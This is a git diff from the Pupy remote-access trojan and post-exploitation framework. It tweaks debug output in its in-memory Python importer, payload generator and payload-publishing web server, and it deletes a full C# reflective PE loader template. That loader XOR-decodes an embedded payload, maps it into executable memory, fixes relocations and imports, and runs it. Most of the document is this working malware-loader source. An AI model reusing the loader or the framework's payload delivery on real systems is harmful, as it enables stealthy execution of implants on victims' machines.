@@ -450,7 +451,7 @@ def make_module(fullname, path=None, is_pkg=False, mod=None): #mod = imp.new_module(fullname) spec = imputil.spec_from_loader(fullname, loader=None) mod = imputil.module_from_spec(spec) - + dprint("make_module: %s %s %s"%(fullname, path, mod)) mod.__name__ = str(fullname) mod.__file__ = str( 'pupy://{}'.format(path or fullname + '.py') @@ -586,7 +587,9 @@ class PupyPackageLoader(object): self.extension)) except Exception as e: + dprint('Error loading package {} ({} pkg={}): {}',fullname, self.path, self.is_pkg, e) if fullname in sys.modules: + dprint("Error ! %s : deleting from modules : %s"%(e,fullname)) del sys.modules[fullname] remote_error( @@ -599,7 +602,6 @@ class PupyPackageLoader(object): self.contents = None _imp.release_lock() gc.collect() - return sys.modules[fullname] @@ -714,19 +716,19 @@ class PupyPackageFinder(_bootstrap_external._LoaderBasics): yield first, True def find_module(self, fullname, path=None, second_pass=False): - dprint('Find module') if fullname.startswith('exposed_'): return None fullname = self._rename_aliased(fullname) - if fullname in sys.modules: - return DummyPackageLoader(fullname) - - dprint('Find module: {}/{}'.format(fullname, second_pass)) if not second_pass: _imp.acquire_lock() + if fullname in sys.modules: + dprint('found module in sys.modules: %s'%fullname) + return DummyPackageLoader(fullname) + + dprint('Find module: {}/{}'.format(fullname, second_pass)) selected = None @@ -816,6 +818,7 @@ class PupyPackageFinder(_bootstrap_external._LoaderBasics): if not second_pass: _imp.release_lock() + pass gc.collect() @@ -861,20 +864,23 @@ def load_pupyimporter(stdlib=None): dprint('Install pupyimporter (standalone)') sys.path = ["pupy://"] sys.path_hooks = [PupyPackageFinder] - #sys.meta_path = [PupyPackageFinder("pupy://")] + + dprint("meta_path: %s"%sys.meta_path) + dprint("path_hooks: %s"%sys.path_hooks) + dprint("path: %s"%sys.path) else: dprint('Install pupyimporter + local packages') #sys.meta_path=[] sys.path.insert(0, 'pupy://') sys.path_hooks.insert(0, PupyPackageFinder) - try: - import _frozen_importlib_external - # fix some missing default python meta_path, for instance with pyoxidizer - if _frozen_importlib_external.PathFinder not in sys.meta_path: - sys.meta_path.append(_frozen_importlib_external.PathFinder) - except: - pass + try: + import _frozen_importlib_external + # fix some missing default python meta_path, for instance with pyoxidizer + if _frozen_importlib_external.PathFinder not in sys.meta_path: + sys.meta_path.append(_frozen_importlib_external.PathFinder) + except: + pass sys.path_importer_cache.clear() diff --git a/pupy/agent/dl_hacks.py b/pupy/agent/dl_hacks.py index 95a7cbef..f78c644a 100644 --- a/pupy/agent/dl_hacks.py +++ b/pupy/agent/dl_hacks.py @@ -27,12 +27,14 @@ NATIVE_LIB_PATTERNS = [ def _find_library(name): + pupy.dprint('_find_library called: {} => {}', name) for pattern in NATIVE_LIB_PATTERNS: libname = pattern.format(name) try: return ctypes.CDLL(libname) except: pass + pupy.dprint('library {} not found ...', name) def _pupy_make_library_path(name): @@ -73,6 +75,8 @@ def _pupy_dlopen(name, *args, **kwargs): handle = pupy.load_dll(name) if handle: + pupy.dprint( + 'ctypes dlopen / pupyized : {} found in-memory handle', name) return handle else: pupy.dprint('load_dll by name ({}) failed', name) @@ -105,7 +109,7 @@ def apply_dl_hacks(): except WindowsError: pupy.dprint('python310.dll not found') else: - for libname in (None, 'libpython3.10.so.1.0', 'libpython3.10.so'): + for libname in (None, 'python310.so'): try: candidate = ctypes.PyDLL(libname) except OSError: diff --git a/pupy/cli/pupygen.py b/pupy/cli/pupygen.py index cce8e76c..d79b11c6 100755 --- a/pupy/cli/pupygen.py +++ b/pupy/cli/pupygen.py @@ -279,8 +279,6 @@ def get_raw_conf(display, conf, verbose=False): (10, 5, 10), (50, 30, 50), (-1, 150, 300) ]) } - if verbose: - print(config) return config @@ -557,7 +555,6 @@ def generate_binary_from_template( config.user_root, 'payload_templates' ) if not os.path.isdir(templatedir): - print(display) display(Error("payload binary templates are not available.")) display(Info("You must compile them or download precompiled templates.")) res=input(f"Do you want to download precompiled templates from {PRECOMPILED_TEMPLATES_DOWNLOAD_URL} ? Y/n ") @@ -803,7 +800,6 @@ def pupygen(args, config, pupsrv, display): scriptlets = load_scriptlets(args.os, args.arch) if args.list: - print("ok") display(MultiPart([ Table( [{ diff --git a/pupy/payload_templates/PupyLoaderTemplate.cs b/pupy/payload_templates/PupyLoaderTemplate.cs deleted file mode 100644 index 4b5e9d84..00000000 --- a/pupy/payload_templates/PupyLoaderTemplate.cs +++ /dev/null @@ -1,796 +0,0 @@ -/* -Original Author: Casey Smith, Twitter: @subTee -License: BSD 3-Clause - -Edited by @n1nj4sec - -*/ - -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace PELoader -{ - unsafe class Program - { - private const int MAX_RECORDS = 1000; - private const byte MASK_BYTE = 0xFF; - - public enum DllReason : uint - { - DLL_PROCESS_ATTACH = 1, - DLL_THREAD_ATTACH = 2, - DLL_THREAD_DETACH = 3, - DLL_PROCESS_DETACH = 0 - } - - [UnmanagedFunctionPointer(CallingConvention.Winapi)] - private delegate bool DllEntryDelegate(void* hinstDLL, DllReason fdwReason, void* lpReserved); - - private static PELoader Unpack(string[] args) - { - /* Do nothing about args for now */ - - byte[] RawPE = ; - for (int i = 0; i < RawPE.Length; i++) - { - RawPE[i] ^= MASK_BYTE; - } - - return new PELoader(RawPE); - } - - public static void Main() - { - ExecutePELoader(new string[] { }); - } - - private static void ExecutePELoader(string[] args) - { - PELoader pe = Unpack(args); - - DllEntryDelegate _dllEntry; - - uint SizeOfImage; - ulong ImageBase; - IntPtr CodeBase; - IntPtr RelocationTable; - IntPtr ImportTableVirtualAddress; - uint ImportTableVirtualAddressOffset; - uint AddressOfEntryPoint; - - if (pe.Is32BitHeader) - { - SizeOfImage = pe.OptionalHeader32.SizeOfImage; - ImageBase = pe.OptionalHeader32.ImageBase; - AddressOfEntryPoint = pe.OptionalHeader32.AddressOfEntryPoint; - ImportTableVirtualAddressOffset = pe.OptionalHeader32.ImportTable.VirtualAddress; - } - else { - SizeOfImage = pe.OptionalHeader64.SizeOfImage; - ImageBase = pe.OptionalHeader64.ImageBase; - AddressOfEntryPoint = pe.OptionalHeader64.AddressOfEntryPoint; - ImportTableVirtualAddressOffset = pe.OptionalHeader64.ImportTable.VirtualAddress; - } - - Console.WriteLine("Preferred Load Address = {0:X16}", ImageBase); - - CodeBase = NativeDeclarations.VirtualAlloc( - IntPtr.Zero, SizeOfImage, - NativeDeclarations.MEM_COMMIT, - NativeDeclarations.PAGE_EXECUTE_READWRITE); - - Console.WriteLine( - "Allocated Space For {0:X16} at {1:X16}", - SizeOfImage, CodeBase); - - //Copy Sections - for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) - { - IntPtr SectionVirtualAddress = (IntPtr)((byte*)CodeBase + pe.ImageSectionHeaders[i].VirtualAddress); - IntPtr MappedVirtualAddress = NativeDeclarations.VirtualAlloc( - SectionVirtualAddress, - pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, - NativeDeclarations.PAGE_EXECUTE_READWRITE - ); - - Marshal.Copy( - pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, - MappedVirtualAddress, (int)pe.ImageSectionHeaders[i].SizeOfRawData); - - Console.WriteLine("Section {0}, Copied To {1:X16}", pe.ImageSectionHeaders[i].Name, MappedVirtualAddress); - } - - //Perform Base Relocation - long delta; - - if (pe.Is32BitHeader) { - int currentbase = CodeBase.ToInt32(); - delta = currentbase - (int)ImageBase; - RelocationTable = (IntPtr)((byte*)CodeBase + pe.OptionalHeader32.BaseRelocationTable.VirtualAddress); - } else { - long currentbase = CodeBase.ToInt64(); - delta = currentbase - (long)ImageBase; - RelocationTable = (IntPtr)((byte*)CodeBase + pe.OptionalHeader64.BaseRelocationTable.VirtualAddress); - } - - if (delta >= 0) { - Console.WriteLine("Delta = {0:X16}", delta); - } else { - Console.WriteLine("Delta = -{0:X16}", -delta); - } - - NativeDeclarations.IMAGE_BASE_RELOCATION RelocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); - - RelocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure( - RelocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); - - int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); - IntPtr nextEntry = RelocationTable; - int sizeofNextBlock = (int)RelocationEntry.SizeOfBlock; - IntPtr offset = RelocationTable; - - while (true) - { - NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); - IntPtr x = (IntPtr)((byte*)RelocationTable + sizeofNextBlock); - relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure( - x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); - - IntPtr dest = (IntPtr)((byte*)CodeBase + (int)RelocationEntry.VirtualAdress); - - for (int i = 0; i < (int)((RelocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) - { - IntPtr patchAddr; - - UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); - UInt16 type = (UInt16)(value >> 12); - UInt16 fixup = (UInt16)(value & 0xfff); - - long originalAddr; - long fixedAddr; - - patchAddr = (IntPtr)((byte*)dest + fixup); - - switch (type) - { - case 0x0: - Console.WriteLine("[R] ABS"); - break; - - case 0x3: - originalAddr = (long) Marshal.ReadInt32(patchAddr); - fixedAddr = originalAddr + delta; - - Console.WriteLine( - "[R] {0:X8} (+ {1}) -> {2:X8}", - originalAddr, delta, fixedAddr); - Marshal.WriteInt32(patchAddr, (int) fixedAddr); - break; - - case 0xA: - originalAddr = Marshal.ReadInt64(patchAddr); - fixedAddr = originalAddr + delta; - Console.WriteLine( - "[R] {0:X16} (+ {1}) -> {2:X16}", - originalAddr, delta, fixedAddr); - Marshal.WriteInt64(patchAddr, fixedAddr); - break; - - default: - Console.WriteLine("[R] Invalid relocation: {0}", type); - break; - } - } - - offset = (IntPtr)((byte*)RelocationTable + sizeofNextBlock); - sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; - RelocationEntry = relocationNextEntry; - - nextEntry = (IntPtr)((byte*)nextEntry + sizeofNextBlock); - - if (relocationNextEntry.SizeOfBlock == 0) - break; - } - - ImportTableVirtualAddress = (IntPtr)((byte*)CodeBase + ImportTableVirtualAddressOffset); - - //Get And Display Each DLL To Load - for (int j = 0; j < MAX_RECORDS; j++) //HardCoded Number of DLL's Do this Dynamically. - { - IntPtr ImportRecord = (IntPtr)((byte*)ImportTableVirtualAddress + (20 * j)); - - IntPtr DllFuncOFTOfft = (IntPtr)((byte*)(ImportRecord) + 0); - IntPtr DllNameOfft = (IntPtr)((byte*)(ImportRecord) + 12); - IntPtr DllFuncFTOfft = (IntPtr)((byte*)(ImportRecord) + 16); - - IntPtr dllNamePTR = (IntPtr)((byte*)CodeBase + Marshal.ReadInt32(DllNameOfft)); - int FTPtr = Marshal.ReadInt32(DllFuncFTOfft); - int OFTPtr = Marshal.ReadInt32(DllFuncOFTOfft); - IntPtr DllFuncNameIdx = (IntPtr) 0; - IntPtr DllFuncPtrIdx = (IntPtr) (IntPtr)((byte*)CodeBase + FTPtr); - - if (OFTPtr != 0) { - DllFuncNameIdx = (IntPtr)((byte*)CodeBase + OFTPtr); - } else { - DllFuncNameIdx = (IntPtr)((byte*)CodeBase + FTPtr); - } - - string DllName = Marshal.PtrToStringAnsi(dllNamePTR); - - Console.WriteLine("Import DLL {0}", DllName); - - if (DllName == "") - break; - - IntPtr handle = NativeDeclarations.LoadLibrary(DllName); - Console.WriteLine("Loaded {0} -> {1}", DllName, handle); - for (int k = 1; k < MAX_RECORDS; k++) - { - IntPtr DllFuncNamePtr = ((IntPtr)((byte*)CodeBase + Marshal.ReadInt32(DllFuncNameIdx))); - string DllFuncName = Marshal.PtrToStringAnsi((IntPtr)((byte*)DllFuncNamePtr + 2)); - - IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); - - Console.WriteLine("Import Function {0} -> {1:X16}", DllFuncName, funcAddy); - - if (pe.Is32BitHeader) { - Marshal.WriteInt32(DllFuncPtrIdx, (int)funcAddy); - DllFuncPtrIdx = (IntPtr)((byte*)DllFuncPtrIdx + 4); - DllFuncNameIdx = (IntPtr)((byte*)DllFuncNameIdx + 4); - } else { - Marshal.WriteInt64(DllFuncPtrIdx, (long)funcAddy); - DllFuncPtrIdx = (IntPtr)((byte*)DllFuncPtrIdx + 8); - DllFuncNameIdx = (IntPtr)((byte*)DllFuncNameIdx + 8); - } - - if (DllFuncName == "") - break; - } - } - - IntPtr OEP = (IntPtr)((byte*)CodeBase + AddressOfEntryPoint); - - //Transfer Control To OEP - Console.WriteLine("Executing DLL [OEP -> {0:X16}]", OEP); - - _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(OEP, typeof(DllEntryDelegate)); - - if (_dllEntry == null || !_dllEntry((byte*)CodeBase, DllReason.DLL_PROCESS_ATTACH, (void*)1)) - { - throw new Exception("Can't attach DLL to process."); - } - } - } - - public class PELoader - { - public struct IMAGE_DOS_HEADER - { // DOS .EXE header - public UInt16 e_magic; // Magic number - public UInt16 e_cblp; // Bytes on last page of file - public UInt16 e_cp; // Pages in file - public UInt16 e_crlc; // Relocations - public UInt16 e_cparhdr; // Size of header in paragraphs - public UInt16 e_minalloc; // Minimum extra paragraphs needed - public UInt16 e_maxalloc; // Maximum extra paragraphs needed - public UInt16 e_ss; // Initial (relative) SS value - public UInt16 e_sp; // Initial SP value - public UInt16 e_csum; // Checksum - public UInt16 e_ip; // Initial IP value - public UInt16 e_cs; // Initial (relative) CS value - public UInt16 e_lfarlc; // File address of relocation table - public UInt16 e_ovno; // Overlay number - public UInt16 e_res_0; // Reserved words - public UInt16 e_res_1; // Reserved words - public UInt16 e_res_2; // Reserved words - public UInt16 e_res_3; // Reserved words - public UInt16 e_oemid; // OEM identifier (for e_oeminfo) - public UInt16 e_oeminfo; // OEM information; e_oemid specific - public UInt16 e_res2_0; // Reserved words - public UInt16 e_res2_1; // Reserved words - public UInt16 e_res2_2; // Reserved words - public UInt16 e_res2_3; // Reserved words - public UInt16 e_res2_4; // Reserved words - public UInt16 e_res2_5; // Reserved words - public UInt16 e_res2_6; // Reserved words - public UInt16 e_res2_7; // Reserved words - public UInt16 e_res2_8; // Reserved words - public UInt16 e_res2_9; // Reserved words - public UInt32 e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_DATA_DIRECTORY - { - public UInt32 VirtualAddress; - public UInt32 Size; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER32 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt32 BaseOfData; - public UInt32 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt32 SizeOfStackReserve; - public UInt32 SizeOfStackCommit; - public UInt32 SizeOfHeapReserve; - public UInt32 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER64 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt64 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt64 SizeOfStackReserve; - public UInt64 SizeOfStackCommit; - public UInt64 SizeOfHeapReserve; - public UInt64 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_FILE_HEADER - { - public UInt16 Machine; - public UInt16 NumberOfSections; - public UInt32 TimeDateStamp; - public UInt32 PointerToSymbolTable; - public UInt32 NumberOfSymbols; - public UInt16 SizeOfOptionalHeader; - public UInt16 Characteristics; - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_SECTION_HEADER - { - [FieldOffset(0)] - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public char[] Name; - [FieldOffset(8)] - public UInt32 VirtualSize; - [FieldOffset(12)] - public UInt32 VirtualAddress; - [FieldOffset(16)] - public UInt32 SizeOfRawData; - [FieldOffset(20)] - public UInt32 PointerToRawData; - [FieldOffset(24)] - public UInt32 PointerToRelocations; - [FieldOffset(28)] - public UInt32 PointerToLinenumbers; - [FieldOffset(32)] - public UInt16 NumberOfRelocations; - [FieldOffset(34)] - public UInt16 NumberOfLinenumbers; - [FieldOffset(36)] - public DataSectionFlags Characteristics; - - public string Section - { - get { return new string(Name); } - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_BASE_RELOCATION - { - public uint VirtualAdress; - public uint SizeOfBlock; - } - - [Flags] - public enum DataSectionFlags : uint - { - /// - /// Reserved for future use. - /// - TypeReg = 0x00000000, - /// - /// Reserved for future use. - /// - TypeDsect = 0x00000001, - /// - /// Reserved for future use. - /// - TypeNoLoad = 0x00000002, - /// - /// Reserved for future use. - /// - TypeGroup = 0x00000004, - /// - /// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files. - /// - TypeNoPadded = 0x00000008, - /// - /// Reserved for future use. - /// - TypeCopy = 0x00000010, - /// - /// The section contains executable code. - /// - ContentCode = 0x00000020, - /// - /// The section contains initialized data. - /// - ContentInitializedData = 0x00000040, - /// - /// The section contains uninitialized data. - /// - ContentUninitializedData = 0x00000080, - /// - /// Reserved for future use. - /// - LinkOther = 0x00000100, - /// - /// The section contains comments or other information. The .drectve section has this type. This is valid for object files only. - /// - LinkInfo = 0x00000200, - /// - /// Reserved for future use. - /// - TypeOver = 0x00000400, - /// - /// The section will not become part of the image. This is valid only for object files. - /// - LinkRemove = 0x00000800, - /// - /// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files. - /// - LinkComDat = 0x00001000, - /// - /// Reset speculative exceptions handling bits in the TLB entries for this section. - /// - NoDeferSpecExceptions = 0x00004000, - /// - /// The section contains data referenced through the global pointer (GP). - /// - RelativeGP = 0x00008000, - /// - /// Reserved for future use. - /// - MemPurgeable = 0x00020000, - /// - /// Reserved for future use. - /// - Memory16Bit = 0x00020000, - /// - /// Reserved for future use. - /// - MemoryLocked = 0x00040000, - /// - /// Reserved for future use. - /// - MemoryPreload = 0x00080000, - /// - /// Align data on a 1-byte boundary. Valid only for object files. - /// - Align1Bytes = 0x00100000, - /// - /// Align data on a 2-byte boundary. Valid only for object files. - /// - Align2Bytes = 0x00200000, - /// - /// Align data on a 4-byte boundary. Valid only for object files. - /// - Align4Bytes = 0x00300000, - /// - /// Align data on an 8-byte boundary. Valid only for object files. - /// - Align8Bytes = 0x00400000, - /// - /// Align data on a 16-byte boundary. Valid only for object files. - /// - Align16Bytes = 0x00500000, - /// - /// Align data on a 32-byte boundary. Valid only for object files. - /// - Align32Bytes = 0x00600000, - /// - /// Align data on a 64-byte boundary. Valid only for object files. - /// - Align64Bytes = 0x00700000, - /// - /// Align data on a 128-byte boundary. Valid only for object files. - /// - Align128Bytes = 0x00800000, - /// - /// Align data on a 256-byte boundary. Valid only for object files. - /// - Align256Bytes = 0x00900000, - /// - /// Align data on a 512-byte boundary. Valid only for object files. - /// - Align512Bytes = 0x00A00000, - /// - /// Align data on a 1024-byte boundary. Valid only for object files. - /// - Align1024Bytes = 0x00B00000, - /// - /// Align data on a 2048-byte boundary. Valid only for object files. - /// - Align2048Bytes = 0x00C00000, - /// - /// Align data on a 4096-byte boundary. Valid only for object files. - /// - Align4096Bytes = 0x00D00000, - /// - /// Align data on an 8192-byte boundary. Valid only for object files. - /// - Align8192Bytes = 0x00E00000, - /// - /// The section contains extended relocations. - /// - LinkExtendedRelocationOverflow = 0x01000000, - /// - /// The section can be discarded as needed. - /// - MemoryDiscardable = 0x02000000, - /// - /// The section cannot be cached. - /// - MemoryNotCached = 0x04000000, - /// - /// The section is not pageable. - /// - MemoryNotPaged = 0x08000000, - /// - /// The section can be shared in memory. - /// - MemoryShared = 0x10000000, - /// - /// The section can be executed as code. - /// - MemoryExecute = 0x20000000, - /// - /// The section can be read. - /// - MemoryRead = 0x40000000, - /// - /// The section can be written to. - /// - MemoryWrite = 0x80000000 - } - - /// - /// The DOS header - /// - private IMAGE_DOS_HEADER dosHeader; - /// - /// The file header - /// - private IMAGE_FILE_HEADER fileHeader; - /// - /// Optional 32 bit file header - /// - private IMAGE_OPTIONAL_HEADER32 optionalHeader32; - /// - /// Optional 64 bit file header - /// - private IMAGE_OPTIONAL_HEADER64 optionalHeader64; - /// - /// Image Section headers. Number of sections is in the file header. - /// - private IMAGE_SECTION_HEADER[] imageSectionHeaders; - - private byte[] rawbytes; - - public PELoader(byte[] fileBytes) - { - // Read in the DLL or EXE and get the timestamp - using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) - { - BinaryReader reader = new BinaryReader(stream); - dosHeader = FromBinaryReader(reader); - - // Add 4 bytes to the offset - stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); - - reader.ReadUInt32(); - fileHeader = FromBinaryReader(reader); - if (this.Is32BitHeader) - { - optionalHeader32 = FromBinaryReader(reader); - } - else - { - optionalHeader64 = FromBinaryReader(reader); - } - - imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; - for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) - { - imageSectionHeaders[headerNo] = FromBinaryReader(reader); - } - - rawbytes = fileBytes; - } - } - - public static T FromBinaryReader(BinaryReader reader) - { - // Read in a byte array - byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); - - // Pin the managed memory while, copy it out the data, then unpin it - GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); - T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); - handle.Free(); - - return theStructure; - } - - public bool Is32BitHeader - { - get - { - UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; - return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; - } - } - - - public IMAGE_FILE_HEADER FileHeader - { - get - { - return fileHeader; - } - } - - /// - /// Gets the optional header - /// - public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 - { - get - { - return optionalHeader32; - } - } - - /// - /// Gets the optional header - /// - public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 - { - get - { - return optionalHeader64; - } - } - - public IMAGE_SECTION_HEADER[] ImageSectionHeaders - { - get - { - return imageSectionHeaders; - } - } - - public byte[] RawBytes - { - get - { - return rawbytes; - } - } - } - - unsafe class NativeDeclarations - { - - public static uint MEM_COMMIT = 0x1000; - public static uint MEM_RESERVE = 0x2000; - public static uint PAGE_EXECUTE_READWRITE = 0x40; - public static uint PAGE_READWRITE = 0x04; - - [StructLayout(LayoutKind.Sequential)] - public unsafe struct IMAGE_BASE_RELOCATION - { - public uint VirtualAdress; - public uint SizeOfBlock; - } - - [DllImport("kernel32")] - public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern IntPtr LoadLibrary(string lpFileName); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - [StructLayout(LayoutKind.Sequential)] - public unsafe struct IMAGE_IMPORT_DESCRIPTOR - { - public uint OriginalFirstThunk; - public uint TimeDateStamp; - public uint ForwarderChain; - public uint Name; - public uint FirstThunk; - } - } -} diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index 7b5697c3..5581b0ee 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -1298,6 +1298,7 @@ class PupyServer(object): alias = path.basename(served.name) self.served_content[served.name] = alias + self.handler.display_srvinfo(f"serving {served.name}, {url}") return '/' + url diff --git a/pupy/pupylib/PupyWeb.py b/pupy/pupylib/PupyWeb.py index 796ca757..f89b383c 100644 --- a/pupy/pupylib/PupyWeb.py +++ b/pupy/pupylib/PupyWeb.py @@ -187,6 +187,9 @@ class PupyWebServer(object): 'webserver', 'static_webroot_uri', None ) or self.random_path() + self.publish_payloads = self.config.getboolean( + 'webserver', 'publish_payloads' + ) self.preserve_payloads = self.config.getboolean( 'webserver', 'preserve_payloads' ) @@ -301,7 +304,7 @@ class PupyWebServer(object): def random_path(self): return '/' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(10)) - def register_mapping(self, name): + def register_mapping(self, name, path): name = self.random_path() self.mappings[name] = path if name in self.mappings: